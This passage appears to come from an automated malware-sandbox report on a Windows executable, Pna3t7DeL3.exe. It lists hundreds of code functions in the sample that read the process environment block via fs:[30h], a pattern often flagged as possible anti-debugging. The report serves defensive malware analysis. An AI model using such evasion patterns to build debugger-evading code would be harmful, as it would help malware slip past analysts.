Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C38C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C38C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C38C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C38C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004160D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044D8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044D8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044D8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044D8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044D8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044D8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044D8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044D8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044D8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044D8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044D8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044D8D0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044D8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00419880 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004138B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DB8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DB8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DB8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DB8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DB8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DB8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D88B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00441140 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00441140 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00441140 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00441140 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00441140 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00441140 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00441140 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00441140 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00441140 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00441140 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00441140 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00441140 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CD940 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CD940 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044C150 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044C150 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044C150 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044C150 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044C150 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044C150 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044C150 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044C150 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044C150 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00415960 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0042A160 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00443160 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00443160 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00443160 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00443160 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00443160 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00443160 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CC100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CC100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00418910 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A9110 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A9110 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00419120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00418120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00414120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00415130 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00411130 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00429930 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004161C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049B1C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049B1C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049B1C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049B1C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D89C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0041A1D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0041A1D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004959D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004959D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004959D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004959D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004959D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004959D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004959D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C31D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C31D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D79D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004E09D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004E09D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004E09D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004169E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004169E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0041B1E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049A1E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049A1E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049A1E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049A1E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049A1E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049A1E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049A1E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049A1E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049A1E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049A1E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BD9E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BE1F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00453180 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00453180 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00453180 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00453180 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CC980 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CC980 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CC980 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CC980 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CF180 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CF180 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CF180 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CF180 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CF180 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CF180 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CF180 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00417990 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DF190 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004139A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004291B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00415A50 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00413A60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044FA70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044FA70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044FA70 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044FA70 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044FA70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00417200 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00419A00 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00457200 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D7200 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D7200 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0041AA10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00411A10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00415220 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00411220 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B7230 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B7230 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B7230 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B7230 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B7230 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B7230 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B7230 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B7230 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B7230 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B7230 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B7230 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004132D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004612E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004192F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0042A2F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80 mov eax, dword ptr fs:[00000030h]
